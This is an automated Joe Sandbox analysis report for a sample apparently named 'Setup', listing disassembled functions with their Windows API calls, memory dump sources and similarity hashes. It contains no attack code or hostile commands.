API ID: H_prolog3_vswprintf_s_vwprintf
String ID:
API String ID: 3682816334-0
Opcode ID: 3b99a142f24efd931e06515e572760ebc2eeb41671150ead45767456e2dd2063
Instruction ID: c35aba26e1e1567153c3bf21c7dd2d096d5bc7d4a196fdeb059380e730291a55
Opcode Fuzzy Hash: 3b99a142f24efd931e06515e572760ebc2eeb41671150ead45767456e2dd2063
Instruction Fuzzy Hash: 3CF0157062024ADFDF20DFA4C848AAEB7B5BF41B18F408829E555AB291DB30DA15CF51

Function 639577A9 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 639577CF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ee45da9ae3aa03de5ca18a0ad4e0ed5923ffd7ed12f5ede247075c6f5010cca5
Instruction ID: 7632248fcc2c971b266f7c1b7b8320ef049047421a49f1835c90bae769b677c1
Opcode Fuzzy Hash: ee45da9ae3aa03de5ca18a0ad4e0ed5923ffd7ed12f5ede247075c6f5010cca5
Instruction Fuzzy Hash: 60E09A306402009FC720DB24EC49F1A7BAABB86B10F104158F5168B1A1CB30E881CE00

Function 63967E56 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000006,?,?,?,?,6394DAC1,?,00000000,00000000,00000002,?,80000000,00000001,00000003), ref: 63967E76

Part of subcall function 63967F08: GetLastError.KERNEL32(63967B0B,?,?,?,00000000), ref: 63967F08

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cc102b64f771a0c9c8c1f056495475d08c587691fbd83c29bb6e4d3b102b988c
Instruction ID: a47b869ce03b8abf70d04654666332c115b8ee102e3ce7b1e6a691d090595fe0
Opcode Fuzzy Hash: cc102b64f771a0c9c8c1f056495475d08c587691fbd83c29bb6e4d3b102b988c
Instruction Fuzzy Hash: F8E01A71600248BF9B05DFA5D844D9E7BB9EB4A364B104659F925D32A0EB70EE14DF20

Function 6C8C39AD Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C39B4

Part of subcall function 6C918DCD: _vwprintf.LIBCMT ref: 6C918E13
Part of subcall function 6C918DCD: _vswprintf_s.LIBCMT ref: 6C918E38

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_vswprintf_s_vwprintf
String ID:
API String ID: 3682816334-0
Opcode ID: 527827e2ae54dabb84e2ef0562fa68b61657ee6955b93a56ff9893472b59c33c
Instruction ID: 6130cca6e51790a07868bd50827f93d92b112266243bdd1d31f1380664f266ca
Opcode Fuzzy Hash: 527827e2ae54dabb84e2ef0562fa68b61657ee6955b93a56ff9893472b59c33c
Instruction Fuzzy Hash: 79F01C3062024ADFDF00DFA4C849AEEB7B6FF50318F048815E4509BB50CB34D919DB95

Function 6C925514 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5beade4c2493959faf4449c78c43680f33a13fb73acf94ce3392477ead92495
Instruction ID: 44823a7abf8dc0305779502f361466f9d85a6ae0ec6f8fb4dbcba68d9c422b6a
Opcode Fuzzy Hash: d5beade4c2493959faf4449c78c43680f33a13fb73acf94ce3392477ead92495
Instruction Fuzzy Hash: 32E0C235114109FF8B019FA5C808C897FBAFF19359714C065F8498A528D736CA54EB81

Function 6C8C8129 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,6C8CAA3A,?,00000000,00000000,00000002,?,80000000,00000001,00000003), ref: 6C8C8149

Part of subcall function 6C9189C8: GetLastError.KERNEL32(6C8C80E8,6C8CA9FA,?,80000000,00000001,00000003,00000080,00000000,00000000,?,?,?,?,?,00000001), ref: 6C9189C8

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7cbe515f6ee35c3a55642804b8cf3112775bf21c3f3a5e63751bdf98159ad822
Instruction ID: 9128e6cffe05dca637f1fa7aa6e4de99c5301e792b136bd76d1832cb66d8d7dd
Opcode Fuzzy Hash: 7cbe515f6ee35c3a55642804b8cf3112775bf21c3f3a5e63751bdf98159ad822
Instruction Fuzzy Hash: FAE09A71600108BF8B04CFA4C944C8E3BF8EF09364B104A2AF925D3280DB70EA00EB61

Function 6C8C395E Relevance: 1.5, APIs: 1, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C3965

Part of subcall function 6C8F8C24: __EH_prolog3.LIBCMT ref: 6C8F8C2B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 8cbc30e87a72e55677796b9bd1e55dd3e2221309323cdd1ceca5d8a10d61d299
Instruction ID: 6c45d8f5e340573dd8a5def21e6419b811c722b655a9165c88b811cf4978fa3b
Opcode Fuzzy Hash: 8cbc30e87a72e55677796b9bd1e55dd3e2221309323cdd1ceca5d8a10d61d299
Instruction Fuzzy Hash: B5F0397151010AEFCB10DFB8C945A9DB762BF20318F208655E1509BB99CB35E928DBA5

Function 6C8C391D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C3924

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 683a3349fe3f35f99b020994a88a6b2042daeb5eb5e502bfda5a5dbc85a4df15
Instruction ID: a8965bc38c99f69de792fce3055a3c5f200b917095ae6c238cdb9c7e3bd37b5e
Opcode Fuzzy Hash: 683a3349fe3f35f99b020994a88a6b2042daeb5eb5e502bfda5a5dbc85a4df15
Instruction Fuzzy Hash: 25E0EE39601219ABCB118F58C940A9EBBA1FF28314F10C409F9699BB60C774EA25EB51

Function 6C8C80F7 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,6C8F60F1), ref: 6C8C810D

Part of subcall function 6C9189C8: GetLastError.KERNEL32(6C8C80E8,6C8CA9FA,?,80000000,00000001,00000003,00000080,00000000,00000000,?,?,?,?,?,00000001), ref: 6C9189C8

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 088c2b2347b47ee53a62aa85ba9626b1477066117ec88408f3de9dfe01eb4b3b
Instruction ID: 1140449cd392dbc059effdc0463793134f047aa55fb01a6c02402346821a85a5
Opcode Fuzzy Hash: 088c2b2347b47ee53a62aa85ba9626b1477066117ec88408f3de9dfe01eb4b3b
Instruction Fuzzy Hash: B5D0173234420CBFDB108FA2CD05E9A3BADFB55714F004423FA1486910EB32D420DB62

Function 6C8F8380 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F8387

Part of subcall function 6C8F84FF: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,6C8FFA6E,02F92298,?,?,6C8F83B3,02F92298,6C8BA794,02F92298,6C8BA794,00000000), ref: 6C8F851E
Part of subcall function 6C8F84FF: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,00000000,6C8FFA6E,02F92298,?,?,6C8F83B3,02F92298,6C8BA794,02F92298,6C8BA794), ref: 6C8F853F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ByteCharMultiWide$H_prolog3
String ID:
API String ID: 692526729-0
Opcode ID: 6db3873be8ab953ff8db24611959aed2fcff45d69818b4fc01d0e1dce50a813e
Instruction ID: 25dfa280b0944579696f87bafe45d7a5d4824481ab269aa18a93456f5b12020f
Opcode Fuzzy Hash: 6db3873be8ab953ff8db24611959aed2fcff45d69818b4fc01d0e1dce50a813e
Instruction Fuzzy Hash: FEE0123521122467DF117F548A01BCE33516F3175CF10C451E9906FF54CB39CA2AD6A9

Function 6C8F833E Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F8345

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: cbce3b873b0349ae179a95f7d3459a0316183ebd2a4742c3d6ef460cec69feeb
Instruction ID: 3d3b7ad7377602d4f77692a1e555f56c5ecef68e9d72c7eae29f6a94bf8b0912
Opcode Fuzzy Hash: cbce3b873b0349ae179a95f7d3459a0316183ebd2a4742c3d6ef460cec69feeb
Instruction Fuzzy Hash: ABE0123521521867DF116F648A11BCE33116F3175CF11C441E8906FF54C739CA2AD6A9

Function 6394FF14 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,Function_0000FF39,?), ref: 6394FF21

Part of subcall function 6395007B: SetWindowPos.USER32(?,?,00000000,00000000,00000000,00000000,00000003,?,?), ref: 639500A9
Part of subcall function 6395007B: SetWindowPos.USER32(0000000C,?,00000000,00000000,00000000,00000000,00000003,?,?), ref: 639500E6

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$ChildEnumWindows
String ID:
API String ID: 1604351572-0
Opcode ID: b7cec41c10ea59afec7e12e1faa0bb4b6fad3ca17ffdfcc471101db60a95e463
Instruction ID: 79a2b8b16d1976c2cf5cff334024281276a8c834895a29fe6faf6238d2a959bb
Opcode Fuzzy Hash: b7cec41c10ea59afec7e12e1faa0bb4b6fad3ca17ffdfcc471101db60a95e463
Instruction Fuzzy Hash: AAC08C3A0062307B47303A306808C9B29C9AE93AA83050081B001810124B10CC52CEE0

Function 6C9254F2 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C925505

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d568c9f499b653ec89d8e7fdd0bdebda28bdd9dce116ba7bad7de47fbca2cd5f
Instruction ID: c0ef8afaa7a11b34c6cb1cb58e918e67d1c9131dc2f32c834d3bd9013cbbf4b9
Opcode Fuzzy Hash: d568c9f499b653ec89d8e7fdd0bdebda28bdd9dce116ba7bad7de47fbca2cd5f
Instruction Fuzzy Hash: 42C08C32041608FBCF224E80DC09F9ABF6AEB85358F24C020B61C098A0C776D5A1DAC4

Function 6C8F91AF Relevance: 1.5, APIs: 1, Instructions: 11comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,?,?,6C8CB029,?,0000002C,6C90D55B,?,?,?,?,00000001), ref: 6C8F91C5

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4856d69a9f70c1799a475e2b1162a6d5427bde45de71847a375c7f3b67c8efdd
Instruction ID: 6cc0d4023d1fe1ac11881130ea2c7534691745a655e8a5d2ec8d74e8687ef2a1
Opcode Fuzzy Hash: 4856d69a9f70c1799a475e2b1162a6d5427bde45de71847a375c7f3b67c8efdd
Instruction Fuzzy Hash: 18C02B3218020CFBC73005C1DC05FE9BE29D7C5754F014811F318347828671B410F5A9

Function 6C9254D6 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C9254E3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 51ef4869f51948533519c9a7db4b9113c90136ebed2ac435697349f06da90c0d
Instruction ID: c7955d3eac8c0537399203bacb28f23c29ab8a65d7a47aaca98cd0af1aca4fb8
Opcode Fuzzy Hash: 51ef4869f51948533519c9a7db4b9113c90136ebed2ac435697349f06da90c0d
Instruction Fuzzy Hash: B5C09B36140108F7CB111EC1DC05F45BF69D795755F14C061F60805452C777D421D6D4

Function 6C8CC53D Relevance: 1.3, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,6C8FA320,38D98A99,?,?), ref: 6C8CC55E

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9378503ebce091921dad03cd518232b03ea10dd0e97cea9a1f55a21fb2e31c76
Instruction ID: 25dbc049d17dd5aa6af42ecc193cd53f5e059019d99194a09c2fce7b639c3823
Opcode Fuzzy Hash: 9378503ebce091921dad03cd518232b03ea10dd0e97cea9a1f55a21fb2e31c76
Instruction Fuzzy Hash: B211A572751301AFE734DF35DA16B2A7BF4AB00754F10892DE207DAAD0DBB4E5448B44

Non-executed Functions

Function 6C5D4281 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 270filethreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D42CF

Part of subcall function 6C5D443B: LoadLibraryW.KERNEL32(SensApi.dll,00000000,?), ref: 6C5D4452
Part of subcall function 6C5D443B: GetProcAddress.KERNEL32(00000000,IsNetworkAlive), ref: 6C5D4468
Part of subcall function 6C5D443B: FreeLibrary.KERNEL32(00000000), ref: 6C5D447F

Part of subcall function 6C5D3E29: RegOpenKeyExW.ADVAPI32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6C5D3E94
Part of subcall function 6C5D3E29: RegQueryValueExW.ADVAPI32(00000000,00000002,00000000,?,?,00000004), ref: 6C5D3EB0
Part of subcall function 6C5D3E29: RegCloseKey.ADVAPI32(00000000), ref: 6C5D3ECE

EnterCriticalSection.KERNEL32(00000030,?,00000104,?,80000002,Software\Microsoft\SQMClient,DoNotDeleteFileAfterUpload,?,00000000,?,6C5F0168), ref: 6C5D434C
FindFirstFileW.KERNEL32(?,?,?,6C5F0168), ref: 6C5D4392
LeaveCriticalSection.KERNEL32(?,?,6C5F0168), ref: 6C5D43CD
ctype.LIBCPMT ref: 6C5D43F5
FindNextFileW.KERNEL32(?,00000010,?,6C5F0168), ref: 6C5DB9A3
FindClose.KERNEL32(?,?,6C5F0168), ref: 6C5DB9BD
ResetEvent.KERNEL32(?,?,6C5F0168), ref: 6C5DB9DD
CreateThread.KERNEL32(00000000,00000000,6C5DBC8D,00000000,00000000,00000054), ref: 6C5DB9FB

Part of subcall function 6C5DB850: realloc.MSVCRT ref: 6C5DB88E

Strings

Software\Microsoft\SQMClient, xrefs: 6C5D4306
DoNotDeleteFileAfterUpload, xrefs: 6C5D4301
W, xrefs: 6C5E0EA1

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Find$CloseCriticalFileLibrarySection$AddressCreateEnterEventFirstFreeLeaveLoadNextOpenProcQueryResetThreadValuectypememsetrealloc
String ID: DoNotDeleteFileAfterUpload$Software\Microsoft\SQMClient$W
API String ID: 746345222-799691104
Opcode ID: fa326b21fe891e0b2c22720e0af9a182a8f312d1ef63a434e43c85b9b1667073
Instruction ID: 70ccea867fb42956c5d8b6fea1a83bd7f69d96f095f751d12d05567e582d8bdc
Opcode Fuzzy Hash: fa326b21fe891e0b2c22720e0af9a182a8f312d1ef63a434e43c85b9b1667073
Instruction Fuzzy Hash: 7EB1B0B0500399DFCB50DF28CC84F9AB7B5BB49308F5205AAE628D6A61D731ED84CF48

Function 6C5E8097 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 166fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5E80D6
memset.MSVCRT ref: 6C5E80EF

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,1000FFFF,00000000), ref: 6C5E81D8

Part of subcall function 6C5E99F8: EtwTraceMessage.NTDLL ref: 6C5E9A13

Strings

%s\%s, xrefs: 6C5E8169, 6C5E816E, 6C5E8241
W, xrefs: 6C5E813A

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: memset$FileFindFirstMessageTrace_vsnwprintf
String ID: %s\%s$W
API String ID: 675349215-3036690452
Opcode ID: 8b5d50bec31e19970d4fb3d80b1eeaf3aa67da4cde0c90e7fe580bf3b7c8c630
Instruction ID: a907f1a6f96c9472000dc37bb051537a2979d0f81e6b89b0e62cddd920b509ee
Opcode Fuzzy Hash: 8b5d50bec31e19970d4fb3d80b1eeaf3aa67da4cde0c90e7fe580bf3b7c8c630
Instruction Fuzzy Hash: AD51C2B0940258EFCB14CF58CC84F9B7BB9AB49308F5501D6E515E69A2D331DD88CF5A

Function 6396681A Relevance: 10.5, APIs: 7, Instructions: 34windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63966821
GetLastError.KERNEL32(00000008,639650A0,?,00000000,00000000,?,?,63958DC8,?,%1!I64u!,?,?), ref: 63966834
SetLastError.KERNEL32(00000000,?,63958DC8,?,%1!I64u!,?,?), ref: 63966840
FormatMessageW.KERNEL32(00000500,00000000,00000000,00000000,205ABF9D,00000000,205ABF9D,?,63958DC8,?,%1!I64u!,?,?), ref: 63966854
GetLastError.KERNEL32(?,63958DC8,?,%1!I64u!,?,?), ref: 6396685A
SetLastError.KERNEL32(?,?,63958DC8,?,%1!I64u!,?,?), ref: 63966868
LocalFree.KERNEL32(205ABF9D,?,205ABF9D,?,63958DC8,?,%1!I64u!,?,?), ref: 63966878

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
